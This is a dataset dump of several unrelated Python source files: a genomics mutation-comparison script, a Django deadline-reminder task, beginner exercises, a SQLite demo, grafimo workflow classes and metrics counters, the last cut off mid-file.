\"https://www.github.com/BLANK-TH/twitch-bot/blob/master/commands.md\")\n\n\nclient.run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"360019540","text":"#!/usr/bin/env python3\n\nimport sys\nimport numpy\nimport pysam\nimport multiprocessing as mp\nfrom collections import defaultdict\nimport argparse\n\ndef inputs_to_dict(input_queue, output_queue):\n while True:\n regions, myFileHandle = input_queue.get()\n if regions == \"EMPTY\":\n output_queue.put(\"DONE\")\n break\n myDictionary = {}\n chr = regions[0]\n start = int(regions[1])\n end = int(regions[2])\n samfile = pysam.AlignmentFile(myFileHandle, \"rb\")\n for read in samfile.fetch(chr, start-1, end-1, multiple_iterators=True):\n oldCigar = read.cigartuples\n if oldCigar == None:\n continue\n testTuple = tuple([read.reference_start, tuple(oldCigar), read.query_sequence])\n if testTuple in myDictionary: \n myDictionary[testTuple] += 1 \n else:\n myDictionary[testTuple] = 1\n samfile.close()\n output_queue.put((regions, myFileHandle, myDictionary))\n\ndef filter_reads(myDictionary, start, end):\n start = start\n end = end\n length = end - start\n newDictionary = {}\n newList = []\n for a in myDictionary:\n pos, oldCigar, sequence = a\n thisRead = list(sequence)\n cigarPos = 0\n for cigarTuple in oldCigar:\n cigarType = int(cigarTuple[0])\n tupleSize = int(cigarTuple[1])\n if cigarType == 0 or cigarType == 7 or cigarType == 8: # alignment or sequence (mis)match\n cigarPos += tupleSize\n elif cigarType == 1: # insertion\n previous = thisRead[cigarPos-1]\n insertion = ''.join(thisRead[cigarPos:cigarPos+tupleSize])\n del thisRead[cigarPos:cigarPos+tupleSize]\n newString = str(previous) + \"+\" + str(tupleSize) + str(insertion)\n thisRead[cigarPos-1] = newString\n elif cigarType == 2: # deletion\n thisRead[cigarPos:cigarPos] = [\"-\"] * tupleSize\n cigarPos += tupleSize\n elif cigarType == 4: # soft-clipping\n del thisRead[cigarPos:cigarPos+tupleSize]\n elif cigarType == 3 or cigarType == 5 or cigarType == 6: # skipped region, hard-clipping, padding -> do nothing\n pass\n\n sequence = thisRead\n pos = int(pos)\n read_length = len(sequence)\n if pos <= start:\n new_start = start - pos + 1\n if pos + read_length <= end:\n lengthToAdd = length - (read_length - new_start)\n if lengthToAdd/float(length) > (1-args_minCoverage):\n continue \n toAdd = [\" \"] * lengthToAdd\n toAppend = sequence[new_start:] + toAdd\n else:\n if read_length/float(length) < args_minCoverage:\n continue\n toAppend = sequence[new_start:new_start+length]\n else:\n if pos + read_length > end:\n new_end = end - pos + 1\n lengthToAdd = length - new_end\n if lengthToAdd/float(length) > (1-args_minCoverage):\n continue\n toAdd = [\" \"] * lengthToAdd\n toAppend = toAdd + sequence[:new_end]\n else:\n if read_length/float(length) < args_minCoverage:\n continue\n before = [\" \"] * (pos - start)\n after = [\" \"] * (length - read_length - pos + start)\n toAppend = before + sequence + after\n tupleToAppend = tuple(toAppend)\n if tupleToAppend not in newDictionary:\n newDictionary[tupleToAppend] = myDictionary[a]\n else:\n newDictionary[tupleToAppend] += myDictionary[a]\n newList.append(toAppend)\n return newDictionary, newList\n\ndef print_data(print_queue, final_queue):\n while True:\n toPrint = []\n region, myDict = print_queue.get()\n if region == \"EMPTY\":\n final_queue.put(\"DONE\")\n break\n chr = region[0]\n start = int(region[1]) - args_upstream\n end = int(region[2]) + args_downstream\n length = end - start\n toPrint.append('{} {} {} {} {} {}'.format(\"Chromosome:\", chr, \"- Region:\", start, \"-\", end))\n\n #convert alignment file to dictionary \n controlDict = myDict[args_control]\n treatedDict = myDict[args_treated]\n\n filteredControlDict, filteredControlList = filter_reads(controlDict, start, end)\n filteredTreatedDict, filteredTreatedList = filter_reads(treatedDict, start, end)\n\n sampleDictList = [filteredControlDict, filteredTreatedDict]\n\n #get consensus sequence\n consensus = \"\"\n numpyData = numpy.array(filteredControlList)\n for column in numpyData.T:\n l = [x for x in column if x != \" \"]\n if not l:\n consensus += \"N\"\n else:\n (values,counts) = numpy.unique(l,return_counts=True)\n ind=numpy.argmax(counts)\n consensus += str(values[ind])\n\n if not consensus:\n consensus = \"N\" * length\n\n toPrint.append('{} {}'.format(\"Consensus:\", consensus))\n\n consensus = list(consensus)\n controlDict = defaultdict(int)\n mutDict = defaultdict(int)\n\n total_sum_abs = 0\n\n for count, d in enumerate(sampleDictList):\n mutationsDict = defaultdict(int)\n toPrint.append(\"\")\n if count == 0:\n toPrint.append('{}'.format(\"Control\"))\n else:\n toPrint.append('{}'.format(\"Treated\"))\n for sample in d:\n newMutation = []\n for i in range(len(sample)):\n if sample[i] != consensus[i] and sample[i] != \" \":\n if newMutation and newMutation[-1][0] == \"-\" and sample[i] == \"-\":\n previous = newMutation[-1][1]\n startIndex = str(previous.split(\":\")[0])\n toAdd = startIndex + \":\" + str(i)\n newMutation[-1] = tuple([\"-\", toAdd])\n else:\n newMutation.append(tuple([sample[i], str(i)]))\n newMutationTuple = tuple(newMutation)\n if newMutationTuple in mutationsDict:\n mutationsDict[newMutationTuple] += d[sample]\n else:\n mutationsDict[newMutationTuple] = d[sample]\n \n total_reads = float(sum(mutationsDict.values()))\n if total_reads == 0:\n toPrint.append(\"No valid reads for this region\")\n continue\n running_total = 0\n toPrint.append('{:>8} {:>10} {} {}'.format(\"# Reads\", \"% Cov\", \" \", \"Mutations from Consensus\"))\n for a in sorted(mutationsDict.items(), key=lambda x: x[1], reverse = True):\n percentage_coverage = round(100*a[1]/total_reads, 3)\n if count == 0:\n controlDict[a[0]] = percentage_coverage\n else:\n mutDict[a[0]] = percentage_coverage\n if percentage_coverage >= args_minFreq:\n listToPrint = [''.join(b) for b in a[0]]\n toPrint.append('{:8} {:10} {} {}'.format(a[1], percentage_coverage, \" \", ','.join(listToPrint)))\n running_total += a[1]\n leftover = int(total_reads - running_total)\n toPrint.append('{:8} {:10} {} {}{}{}'.format(leftover, round(100*leftover/total_reads, 3), \" \", \"All other mutations which appear <\", args_minFreq, \"% of the time\"))\n if count == 1:\n mutation_keys = set(mutationsDict.keys())\n mutation_keys.update(controlDict.keys())\n for a in mutation_keys:\n total_sum_abs += abs(mutDict[a] - controlDict[a])\n toPrint.insert(2, '{} {}'.format(\"Mutation Rate:\", str(round(total_sum_abs/2, 3)) + \"%\"))\n toPrint.append(\"\")\n separator = \"-\" * 50\n toPrint.append(separator)\n toPrint.append(\"\")\n final_queue.put(toPrint)\n\nparser = argparse.ArgumentParser()\nparser.add_argument('regions', help=\"List of regions (bed)\")\nparser.add_argument('control', help=\"Control BAM file\")\nparser.add_argument('treated', help=\"Treated BAM file\")\nparser.add_argument('-up', type=int, nargs='?', help=\"Extend all regions upstream by X positions\", default=0, const=0)\nparser.add_argument('-down', type=int, nargs='?', help=\"Extend all regions downstream by X positions\", default=0, const=0)\nparser.add_argument('-mc', type=float, nargs='?', help=\"Minimum read coverage over region (decimal between 0 and 1)\", default=0.5, const=0.50)\nparser.add_argument('-mr', type=float, nargs='?', help=\"Minimum relative read frequency to classify as significant mutation (percentage between 0 and 100)\", default=1, const=1)\nparser.add_argument('-o', nargs='?', help=\"Optional Output File\")\n\nargs = parser.parse_args()\nargs_regions = args.regions\nargs_control = args.control\nargs_treated = args.treated\nargs_upstream = args.up\nargs_downstream = args.down\nargs_minCoverage = args.mc\nargs_minFreq = args.mr\nargs_out = args.o\n\nregions = []\nwith open(args_regions) as f:\n for line in f:\n words = line.split()\n chrom, start, stop = words[0:3]\n if chrom[0:3] == \"chr\":\n chrom = chrom[3:]\n regions.append(tuple([chrom, start, stop]))\n\nprint(\"Parsing Input Data\")\n\ninput_queue = mp.Queue()\noutput_queue = mp.Queue()\nprint_queue = mp.Queue()\nfinal_queue = mp.Queue()\nprint_processes = []\nnum_threads = mp.cpu_count()\nprocesses = [mp.Process(target=inputs_to_dict, args=(input_queue, output_queue)) for x in range(num_threads)]\nfor p in processes:\n p.start()\nnum_done = 0\n\nparsedData = {}\nfor r in regions:\n parsedData[r] = {}\n\nfor region in regions:\n input_queue.put((region, args_control))\n input_queue.put((region, args_treated))\nfor x in range(num_threads):\n input_queue.put((\"EMPTY\", \"EMPTY\"))\n\nprint(\"Analysing data\")\nwhile num_done < num_threads:\n output = output_queue.get()\n if output == \"DONE\":\n num_done += 1\n p = mp.Process(target=print_data, args=(print_queue, final_queue))\n print_processes.append(p)\n p.start()\n else:\n region = output[0]\n myFile = output[1]\n myDict = output[2]\n parsedData[region][myFile] = myDict\n if len(parsedData[region]) == 2: #both treated and control have been added\n print_queue.put((region, parsedData[region]))\nfor p in processes:\n p.join()\n\nfor x in range(num_threads):\n print_queue.put((\"EMPTY\", \"EMPTY\"))\n\nnum_done = 0\n\nif args_out:\n f = open(args_out, 'w')\nwhile num_done < num_threads:\n output = final_queue.get()\n if output == \"DONE\":\n num_done += 1\n else:\n if args_out:\n f.write('\\n'.join(output))\n f.write('\\n')\n else:\n print('\\n'.join(output))\n\nif args_out:\n f.close()\n\nfor p in print_processes:\n p.join()\n","sub_path":"GOANA.py","file_name":"GOANA.py","file_ext":"py","file_size_in_byte":11147,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"247484634","text":"from django.template import Template, Context\nfrom django.core.mail import send_mail\nfrom tracker_final.celery import app\nfrom student_lor.models import *\nfrom datetime import datetime, timezone\n\nREPORT_TEMPLATE = \"\"\"\nHere's how you did till now:\n\n{% for post in posts %}\n \"{{ post.title }}\": viewed {{ post.view_count }} times |\n\n{% endfor %}\n\"\"\"\nREMINDER_TEMPLATE = \"\"\"\nThis email is to remind you that {{left}} days are left to submit the Lor application of {{ details.full_name }}\nYou can contact the student using:\n\nmobile: {{details.phone}},\npersonal_email: {{details.email}},\nemail: {{email}}\n\nThank You.\nFor any query or inconvenience related to application please email to lor@hyderabad.bits-pilani.ac.in\n\"\"\"\n\n\n@app.task\ndef get_celery_worker_status():\n\tprint(\"HERE\")\n\ti = app.control.inspect()\n\tstats = i.stats()\n\tregistered_tasks = i.registered()\n\tactive_tasks = i.active()\n\tscheduled_tasks = i.scheduled()\n\tresult = {\n\t\t'stats': stats,\n\t\t'registered_tasks': registered_tasks,\n\t\t'active_tasks': active_tasks,\n\t\t'scheduled_tasks': scheduled_tasks\n\t}\n\treturn result\n\n\n@app.task\ndef send_application_remainder():\n\tfor item in FacultyListLor.objects.filter():\n\t\tlor = Lor.objects.get(id=item.lor.id)\n\t\tdiff = (datetime.now(timezone.utc) - lor.deadline).days\n\t\tprint('Here '+str(diff))\n\t\tif diff == 15 and not item.days_15:\n\t\t\tdetails = StudentDetails.objects.get(user=lor.user.id)\n\t\t\ttemplate = Template(REMINDER_TEMPLATE)\n\t\t\tresult = FacultyListLor.objects.filter(lor=item.lor.id, faculty=item.faculty.id).update(days_15=True)\n\t\t\tsend_mail(\n\t\t\t\t'Reminder: 15 days to submit Lor of ' + str(details.full_name),\n\t\t\t\ttemplate.render(context=Context({'email': lor.user.email, 'details': details, 'left': str(15)})),\n\t\t\t\t'ghotden@gmail.com',\n\t\t\t\t[item.faculty.email],\n\t\t\t\tfail_silently=False,\n\t\t\t)\n\t\telif diff == 7 and not item.days_7:\n\t\t\tdetails = StudentDetails.objects.get(user=lor.user.id)\n\t\t\ttemplate = Template(REMINDER_TEMPLATE)\n\t\t\tresult = FacultyListLor.objects.filter(lor=item.lor.id, faculty=item.faculty.id).update(days_7=True)\n\t\t\tsend_mail(\n\t\t\t\t'Reminder: 7 days to submit Lor of ' + str(details.full_name),\n\t\t\t\ttemplate.render(context=Context({'email': lor.user.email, 'details': details, 'left': str(7)})),\n\t\t\t\t'ghotden@gmail.com',\n\t\t\t\t[item.faculty.email],\n\t\t\t\tfail_silently=False,\n\t\t\t)\n\t\telif diff == 3 and not item.days_3:\n\t\t\tdetails = StudentDetails.objects.get(user=lor.user.id)\n\t\t\ttemplate = Template(REMINDER_TEMPLATE)\n\t\t\tresult = FacultyListLor.objects.filter(lor=item.lor.id, faculty=item.faculty.id).update(days_3=True)\n\t\t\tsend_mail(\n\t\t\t\t'Reminder: 3 days to submit Lor of ' + str(details.full_name),\n\t\t\t\ttemplate.render(context=Context({'email': lor.user.email, 'details': details, 'left': str(3)})),\n\t\t\t\t'ghotden@gmail.com',\n\t\t\t\t[item.faculty.email],\n\t\t\t\tfail_silently=False,\n\t\t\t)\n\t\telif diff == 1 and not item.days_1:\n\t\t\tdetails = StudentDetails.objects.get(user=lor.user.id)\n\t\t\ttemplate = Template(REMINDER_TEMPLATE)\n\t\t\tresult = FacultyListLor.objects.filter(lor=item.lor.id, faculty=item.faculty.id).update(days_1=True)\n\t\t\tsend_mail(\n\t\t\t\t'Reminder: 1 day to submit Lor of ' + str(details.full_name),\n\t\t\t\ttemplate.render(context=Context({'email': lor.user.email, 'details': details, 'left': str(1)})),\n\t\t\t\t'ghotden@gmail.com',\n\t\t\t\t[item.faculty.email],\n\t\t\t\tfail_silently=False,\n\t\t\t)\n","sub_path":"faculty_lor/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"88356713","text":"\"\"\"\r\n一个五角数被定义为n(3n-1)/2,其中n=1,2……,\r\n所以,开始的几个数是1、5、12、22、……。\r\n编写一个带下面函数头的函数返回五角数\r\n\"\"\"\r\ndef getPentagona1Number():\r\n number = 0\r\n for n in range(1,100):\r\n gongshi = (n*(3*n-1))/2\r\n print(gongshi,end = '、')\r\n number += 1\r\n if number % 10 ==0:\r\n print(end = '\\n')\r\ngetPentagona1Number()\r\n\r\n\"\"\"\r\n(求一个整数各个数字的和)编写一个函数,计算一个整数各个数字的和。\r\n使用下面的函数头:def sumDigits (n):\r\n例如:sumDigits (234)返回9(2+3+4)\r\n\"\"\"\r\ndef sumDigits ():\r\n input_sum = input('请输入信息:')\r\n num2 = int(input_sum) % 10\r\n print(num2)\r\n num3 = int(input_sum) // 10\r\n num4 = num3 % 10\r\n print(num4)\r\n num5 = int(input_sum) // 100\r\n print(num5)\r\n num1 = num2+num4+num5\r\n print (num1)\r\n \r\nsumDigits()\r\n\r\n\"\"\"\r\n(对三个数进行排序)编写下面的函数,以升序显示三个数\r\n\"\"\"\r\ndef displaySortedNumber():\r\n n1 = int(input('one:'))\r\n n2 = int(input('two:'))\r\n n3 = int(input('three:'))\r\n nums = [n1,n2,n3]\r\n nums.sort()\r\n print(nums)\r\ndisplaySortedNumber()\r\n\r\n\"\"\"\r\n编写一个函数计算指定年数以给定的利率来计算未来投资值\r\n\"\"\"\r\ndef f(int,mon,year):\r\n return int *((1+mon/1200)**(year*12))\r\ndef main():\r\n int = eval(input('输入int'))\r\n mon = eval(input ('输入mon'))\r\n year = 30\r\n for i in range(year):\r\n value = f(int,mon,i+1)\r\n print(i+1,'年后\\t',round(value,2))\r\nmain()\r\n\r\n\"\"\"\r\n编写一个打印字符的函数,按每行指定某个数来打印\r\n打印1~Z的字符,每行打印十个\r\n\"\"\"\r\ndef pr(ch1,ch2,num):\r\n a = ord(ch1)\r\n b = ord(ch2)\r\n count = 0\r\n for i in range(a,b):\r\n a1 = chr(i)\r\n print(a1,end = \" \")\r\n count += 1\r\n if count % 10 == 0:\r\n print(end = \"\\n\")\r\npr(\"1\",\"z\",10)\r\n\r\n\"\"\"\r\n显示从2010年到2020年每年的天数\r\n\"\"\"\r\ndef numberOfDaysInAYear():\r\n for i in range(2010,2021):\r\n if i % 4 == 0 and i%100 != 0:\r\n print(i , '年',':366天')\r\n else:\r\n print(i , '年',':365天')\r\nnumberOfDaysInAYear()\r\n\r\n\"\"\"\r\n用函数计算两点之间的距离\r\n\"\"\"\r\nimport math\r\ndef distance(x1,y1,x2,y2):\r\n \r\n d_x = x1 - x2\r\n d_y = y1 - y2\r\n #计算两点之间的距离\r\n distance = math.sqrt(d_x**2 + d_y**2)\r\n print(distance)\r\ndistance(4,9,3,6)\r\n\r\n\r\n'''\r\n梅森素数:\r\n如果一个素数可以写成2^p-1的形式,其中p是某个正整数,那么这个数就被称作梅森素数\r\n'''\r\ndef meisensushu(p):\r\n q=pow(2,p)-1\r\n m=2\r\n if p==2:\r\n print(p,q)\r\n for i in range(2,p):\r\n m=m+1\r\n if p%i==0:\r\n break\r\n if m == p:\r\n print(p,q)\r\n \r\nfor p in range(1,32):\r\n meisensushu(p)\r\n\r\n'''\r\n当前时间和日期;\r\n调用time.time()返回从1970年1月1日0点开始的毫秒数\r\n'''\r\nimport time\r\nprint(\"time.time:%f\"%time.time())\r\ntime.localtime()\r\ntime = time.localtime(time.time())\r\nprint(\"Cuurrent date and time is\",time.tm_year,\"年\",\r\n time.tm_mon,\"月\",time.tm_mday,\"日\",\r\n time.tm_hour,\":\",time.tm_min,\":\",time.tm_sec)\r\n\r\n'''\r\n游戏:掷骰子\r\n \r\n'''\r\nimport numpy as np\r\ndef shuzi():\r\n res1 = np.random.choice([1,2,3,4,5,6])\r\n print(\"第一次的点数为:\",res1)\r\n res2 = np.random.choice([1,2,3,4,5,6])\r\n print(\"第二次的点数为:\",res2)\r\n res = res1 + res2\r\n print(\"两次点数之和为:\",res)\r\n return res\r\nres = shuzi()\r\nif res==2 or res==3 or res==12:\r\n print(\"over\")\r\nelif res==7 or res==11:\r\n print(\"win\")\r\nelse:\r\n res3 = res\r\n res = dianshu()\r\n if res ==7 or res == res3:\r\n print(\"win\")\r\n else:\r\n print(\"again\")","sub_path":"zjj1(2).py","file_name":"zjj1(2).py","file_ext":"py","file_size_in_byte":4079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"76640853","text":"import sqlite3\nconn = sqlite3.connect('database.sqlite')\ndef database():\n with conn:\n conn.execute(\"CREATE TABLE realones(id INTEGER PRIMARY KEY, Name TEXT, Age INTEGER)\")\n conn.execute(\"INSERT INTO realones(Name, Age) Values('Jack Yeo', 11)\")\n conn.execute(\"INSERT INTO realones(Name, Age) Values('President Obama', 32)\")\ndatabase()\ndef printdatabase():\n with conn:\n ye = conn.execute(\"SELECT id, Name, Age from realones\")\n for row in ye:\n print(\"ID\", row[0])\n print(\"NAME\", row[1])\n print(\"AGE\", row[2], \"years old\")\n\ndef searchbyage():\n minage = int(input(\"Input age\"))\n with conn:\n ye = conn.execute(\"SELECT Age, Name FROM realones where Age>=? \", (minage,))\n for row in ye:\n print(row[0], \"and his name is\", row[1])\ndef hello():\n while True:\n try:\n newonename = input(\"Please enter name of the new one\")\n newoneage = int(input(\"Please enter age of the new one\"))\n with conn:\n conn.execute(\"INSERT INTO realones(Name, Age) VALUES(?,?)\", (newonename, newoneage))\n printdatabase()\n break\n except ValueError:\n print(\"value error\")\ndef byebye():\n while True:\n try:\n x = input(\"Hey wanna delete someone?('yes' or 'no')\")\n if x == 'yes':\n printdatabase()\n whogone = int(input(\"Input the id of who you dont think is a real one\"))\n while True:\n try:\n areyasure = input(\"Are ya sure?\")\n if areyasure == 'yes':\n with conn:\n conn.execute(\"DELETE FROM realones WHERE id =?\", (whogone,))\n print(\"OK he gone\")\n printdatabase()\n\n else:\n print('ok')\n break\n except ValueError:\n print('nah')\n else:\n break\n except ValueError:\n print('value error')\n\ndef changearealone():\n with conn:\n while True:\n printdatabase()\n x = int(input(\"enter id of which real one you wanna change:\"))\n ye = conn.execute(\"SELECT id, Name, Age FROM realones WHERE id = ?\",(x,))\n row = ye.fetchone()\n print(\"ID\", row[0])\n print(\"Name\", row[1])\n print(\"Age\", row[2], \"years\")\n y = input(\"What do you wanna change? Name or Age?:\")\n if y == \"Name\":\n newname = input(\"What is the newname?:\")\n conn.execute(\"UPDATE realones SET Name=? WHERE id=?\", (newname, x))\n print(\"New name is\", row[1])\n break\n elif y == \"Age\":\n newage = int(input(\"What is the new age?:\"))\n conn.execute(\"UPDATE realones SET Age=? WHERE id=?\", (newage, x))\n print(\"New age is\", row[2], \"years\")\n break\n else:\n print('what')\nchangearealone()","sub_path":"SQL/SQL: Updating a Record.py","file_name":"SQL: Updating a Record.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"4851777","text":"\"\"\"\n\nworkflows classes\n\"\"\"\n\nfrom argparse import Namespace\n\n\nclass Workflow(object):\n \"\"\"\n Workflow base class\n \"\"\"\n\n def __init__(self):\n pass\n\n\nclass BuildVG(Workflow):\n \"\"\"\n Buildvg workflow class. This class stores all\n the arguments needed for 'grafimo buildvg'\n worflow execution.\n \"\"\"\n\n reference_genome = None\n vcf = None\n chroms = None\n cores = None\n verbose = False # default option\n test = False # used to test the buildvg worflow (manually set)\n\n def __init__(self, args):\n if not isinstance(args, Namespace):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.linear_genome, str):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.vcf, str):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.chroms, list):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.cores, int):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.out, str):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.verbose, bool):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n self.reference_genome = args.linear_genome\n self.vcf = args.vcf\n self.chroms = args.chroms\n self.cores = args.cores\n self.outdir = args.out\n self.verbose = args.verbose\n # end of __init__()\n\n def get_reference_genome(self):\n if self.reference_genome:\n return self.reference_genome\n else:\n raise ValueError(\"No reference genome found\")\n\n def get_vcf(self):\n if self.vcf:\n return self.vcf\n else:\n raise ValueError(\"No VCF file found\")\n\n def get_chroms(self):\n if self.chroms:\n return self.chroms\n else:\n raise ValueError(\"No chromosomes list found\")\n\n def get_cores(self):\n if self.cores:\n return self.cores\n else:\n raise ValueError(\"Unknown number of cores to use\")\n\n def get_outdir(self):\n if self.outdir:\n return self.outdir\n else:\n raise ValueError(\"Unknown output directory\")\n\n def get_verbose(self):\n return self.verbose\n\n def get_test(self):\n return self.test\n# end of BuildVG\n\n\nclass Findmotif(Workflow):\n \"\"\"\n Findmotif workflow class. This class stores all\n the arguments needed for 'grafimo findmotif'\n workflow execution\n \"\"\"\n\n graph_genome = None # if True graph_genome_dir must be None\n graph_genome_dir = None # if True graph_genome must be None\n bedfile = None\n motif = None\n chroms = None\n bgfile = None\n pseudo = None\n thresh = None\n outdir = None\n cores = None\n top_graphs = 0 # default\n no_qval = False # default\n no_rev = False # default\n text_only = False # default\n qvalT = False # default\n verbose = False # default\n test = True # used to test the buildvg worflow (manually set)\n\n # the following variables cannot be both True at the same time\n _has_graph_genome = False\n _has_graph_genome_dir = False\n\n def __init__(self, args):\n if not isinstance(args, Namespace):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.graph_genome, str):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.graph_genome_dir, str):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.bedfile, str):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.chroms, list):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.bgfile, str):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.pseudo, float):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.threshold, float):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.out, str):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.cores, int):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.top_graphs, int):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.no_qvalue, bool):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.no_reverse, bool):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.text_only, bool):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.qval_t, bool):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if not isinstance(args.verbose, bool):\n raise ValueError(\"Incorrect command line arguments object type\")\n\n if args.graph_genome:\n self.graph_genome = args.graph_genome\n self._has_graph_genome = True\n self._has_graph_genome_dir = False\n elif args.graph_genome_dir:\n self.graph_genome_dir = args.graph_genome_dir\n self._has_graph_genome_dir = True\n self._has_graph_genome = False\n\n if self._has_graph_genome and self._has_graph_genome_dir:\n errmsg = \"\\n\\nERROR: cannot be given both a path to a VG and a directory containing them\"\n raise PermissionError(errmsg)\n\n self.bedfile = args.bedfile\n self.motif = args.motif\n self.chroms = args.chroms\n self.bgfile = args.bgfile\n self.pseudo = args.pseudo\n self.thresh = args.threshold\n self.cores = args.cores\n self.outdir = args.out\n self.top_graphs = args.top_graphs\n self.no_qval = args.no_qvalue\n self.no_rev = args.no_reverse\n self.text_only = args.text_only\n self.qvalT = args.qval_t\n self.verbose = args.verbose\n\n # end of __init__()\n\n def get_graph_genome(self):\n if not self._has_graph_genome:\n raise ValueError(\"No genome graph available\")\n else:\n return self.graph_genome\n\n def get_graph_genome_dir(self):\n if not self._has_graph_genome_dir:\n raise ValueError(\"No genome graph directory given\")\n else:\n return self.graph_genome_dir\n\n def get_bedfile(self):\n if not self.bedfile:\n raise ValueError(\"No BED file found\")\n else:\n return self.bedfile\n\n def get_motif(self):\n if not self.motif:\n raise ValueError(\"NO motif file (MEME or JASPAR format) found\")\n else:\n return self.motif\n\n def get_chroms(self):\n if not self.chroms:\n raise ValueError(\"No chromosomes list found\")\n else:\n return self.chroms\n\n def get_bgfile(self):\n if not self.bgfile:\n raise ValueError(\"No background file found\")\n else:\n return self.bgfile\n\n def get_pseudo(self):\n if not self.pseudo:\n raise ValueError(\"No pseudocount found\")\n else:\n return self.pseudo\n\n def get_threshold(self):\n if not self.thresh:\n raise ValueError(\"No threshold found\")\n else:\n return self.thresh\n\n def get_outdir(self):\n if not self.outdir:\n raise ValueError(\"No output directory found\")\n else:\n return self.outdir\n\n def get_cores(self):\n if not self.cores:\n raise ValueError(\"Unknown number of cores to use\")\n else:\n return self.cores\n\n def get_top_graphs(self):\n if self.top_graphs < 0:\n raise ValueError(\"The number of graph images to retrieve cannot be negative\")\n else:\n return self.top_graphs\n\n def get_no_qvalue(self):\n return self.no_qval\n\n def get_no_reverse(self):\n return self.no_rev\n\n def get_text_only(self):\n return self.text_only\n\n def get_qvalueT(self):\n return self.qvalT\n\n def get_verbose(self):\n return self.verbose\n\n def get_test(self):\n return self.test\n\n def has_graph_genome(self):\n return self._has_graph_genome\n\n def has_graph_genome_dir(self):\n return self._has_graph_genome_dir\n\n def set_xg(self, vg):\n if vg.split('.')[-1] != 'xg':\n raise ValueError(\"Only XG accepted\")\n self.graph_genome = vg\n\n# end of Findmotif\n","sub_path":"src/grafimo/workflow.py","file_name":"workflow.py","file_ext":"py","file_size_in_byte":9026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"620400784","text":"import abc\nimport time\n\n\nclass Metric(abc.ABC):\n\n\tdef __init__(self, name: str, tags: dict):\n\t\tassert(name is not None)\n\t\tassert(tags is not None)\n\t\tself.Name = name\n\t\tself.Tags = tags\n\n\n\t@abc.abstractmethod\n\tdef flush(self) -> dict:\n\t\tpass\n\n\tdef rest_get(self):\n\t\treturn {\n\t\t\t'Name': self.Name,\n\t\t\t'Tags': self.Tags,\n\t\t}\n\n\nclass Gauge(Metric):\n\n\n\tdef __init__(self, name: str, tags: dict, init_values=None):\n\t\tsuper().__init__(name=name, tags=tags)\n\t\tself.Init = init_values\n\t\tself.Values = self.Init.copy()\n\n\n\tdef set(self, name, value):\n\t\tself.Values[name] = value\n\n\n\tdef flush(self) -> dict:\n\t\treturn self.Values.copy()\n\n\tdef rest_get(self):\n\t\trest = super().rest_get()\n\t\trest['Values'] = self.Values\n\t\treturn rest\n\n\nclass Counter(Metric):\n\n\n\tdef __init__(self, name, tags, init_values=None, reset: bool = True):\n\t\tsuper().__init__(name=name, tags=tags)\n\t\tself.Init = init_values if init_values is not None else dict()\n\t\tself.Values = self.Init.copy()\n\t\tself.Reset = reset\n\n\n\tdef add(self, name, value, init_value=None):\n\t\t\"\"\"\n\t\tAdds to the counter specified by `name` the `value`.\n\t\t:param name: name of the counter\n\t\t:param value: value to be added to the counter\n\t\t:param init_value: init value, when the counter `name` is not yet set up (f. e. by init_values in the constructor)\n\t\tIf None, KeyError will be raised.\n\t\t:return:\n\t\t\"\"\"\n\n\t\ttry:\n\t\t\tself.Values[name] += value\n\t\texcept KeyError as e:\n\t\t\tif init_value is None:\n\t\t\t\traise e\n\t\t\tself.Values[name] = init_value + value\n\n\n\tdef sub(self, name, value, init_value=None):\n\t\t\"\"\"\n\t\tSubtracts to the counter specified by `name` the `value`.\n\t\t:param name: name of the counter\n\t\t:param value: value to be subtracted from the counter\n\t\t:param init_value: init value, when the counter `name` is not yet set up (f. e. by init_values in the constructor)\n\t\tIf None, KeyError will be raised.\n\t\t:return:\n\t\t\"\"\"\n\n\t\ttry:\n\t\t\tself.Values[name] -= value\n\t\texcept KeyError as e:\n\t\t\tif init_value is None:\n\t\t\t\traise e\n\t\t\tself.Values[name] = init_value - value\n\n\n\tdef flush(self) -> dict:\n\t\tret = self.Values\n\t\tif self.Reset:\n\t\t\tself.Values = self.Init.copy()\n\t\treturn ret\n\n\n\tdef rest_get(self):\n\t\trest = super().rest_get()\n\t\trest['Values'] = self.Values\n\t\treturn rest\n\n\nclass EPSCounter(Counter):\n\t\"\"\"\n\tEvent per Second Counter\n\tDivides all values by delta 